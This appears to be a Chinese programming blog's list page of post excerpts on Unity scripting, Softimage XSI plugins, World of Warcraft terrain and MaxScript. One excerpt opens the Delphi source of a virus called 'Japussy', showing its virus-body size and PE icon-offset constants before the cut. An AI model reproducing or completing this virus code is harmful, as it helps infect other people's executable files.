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摘要: private var character :CharacterController;private var speed =0.0;private var trans:Transform;private var targetRot:Quaternion;var rotationSpeed = 90 ;var pedalImpulse = 3.5;var maxSpeed = 12;var decayRate = 0.1;function Start(){ character = GetComponent(CharacterController); trans= transform ;}func 阅读全文
posted @ 2011-05-29 21:03 softimagewht 阅读(532) 评论(0) 推荐(0)
摘要: 代码:--------------------------------------------------------------------------------程序代码program Japussy;usesWindows, SysUtils, Classes, Graphics, ShellAPI{, Registry};constHeaderSize = 82432; //病毒体的大小IconOffset = $12EB8; //PE文件主图标的偏移量//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同//查找2800000020的十六进制字符串可以找到 阅读全文
posted @ 2011-05-25 09:12 softimagewht 阅读(154) 评论(0) 推荐(0)
摘要: 第一种:exe格式的插件,直接装即可,xsi自动连接。例如:CloudWrightXSISetup-0.9.3.exe 或blurBeta_XSI等等插件第二种:xsiaddon格式的,可以拷贝到下列相对路径中D:SoftimageSoftimage_7.5_x64Addons,方便管理,然后在xsi中进行加载:file----add-on----install.安装xsiaddon格式的插件。这种格式的插件也可以直接拖到xsi视图中进行安装第三种:spdl格式的插件,在file----pluginmanager----SPDLs栏----install选择该类型插件进行安装第四种:dll格式 阅读全文
posted @ 2011-05-23 09:11 softimagewht 阅读(1909) 评论(0) 推荐(1)
摘要: var oPSet = ActiveSceneRoot.AddProperty( "CustomProperty", false, "ButtonExample" ) ;oPSet.AddParameter3( "SomeText", siString ) ;var oLayout = oPSet.PPGLayoutoLayout.AddRow() ;oLayout.AddItem( "SomeText" ) ;var oItem = oLayout.AddButton( "ClickMe", 阅读全文
posted @ 2011-05-19 17:44 softimagewht 阅读(190) 评论(0) 推荐(0)
摘要: 《魔兽世界》地形的惊艳之处,主要在于无缝连接的世界和精细的渲染效果,借助WoWmapview源码及能以线框模式查看D3D程序的分析工具,可以对其实现略窥一二。 组织方式 《魔兽世界》采用分块的地形,这是它实现无缝地图的基础。 从WoWmapview源码来看,整块地形对应一个MapWorld,这块地形可以是整块卡利姆多大陆,整块东部王国,如果你在战场中,它还可以仅是这块战场地图。每个MapWorld分为64x64个MapTile。每块MapTile又进一步分为16x16个MapChunk。 在任何时刻,程序总是保存着玩家所在的及其周围的3x3个MapTile,随着玩家的移动,这些MapTile会 阅读全文
posted @ 2011-04-29 13:36 softimagewht 阅读(691) 评论(0) 推荐(0)
摘要: for (var state : AnimationState in animation){ state.speed = 0.5;} 阅读全文
posted @ 2011-04-13 17:31 softimagewht 阅读(186) 评论(0) 推荐(0)
摘要: //this script pushes all rigidbodies that the character touchesvar pushPower : float = 2.0;function OnControllerColliderHit (hit : ControllerColliderHit) {var body : Rigidbody = hit.collider.attachedRigidbody;// no rigidbodyif (body == null || body.isKinematic)return;// We dont want to push objects 阅读全文
posted @ 2011-04-04 13:24 softimagewht 阅读(212) 评论(0) 推荐(0)
摘要: var tameObject:GameObject[];function Start(){tameObject= FindObjectsOfType(GameObject) as GameObject[];}function Update() {for(var i:GameObject in tameObject){ Debug.Log(i.name); }} 阅读全文
posted @ 2011-04-02 17:32 softimagewht 阅读(439) 评论(0) 推荐(0)
摘要: BinStream for Binary Reading and Writing 阅读全文
posted @ 2011-03-30 20:26 softimagewht 阅读(303) 评论(0) 推荐(0)
摘要: ps=CreateOLEObject"Photoshop.Application"ps.Visible=trueps.open meditMaterials[1].diffusemap.filename 阅读全文
posted @ 2011-03-30 09:32 softimagewht 阅读(536) 评论(0) 推荐(0)
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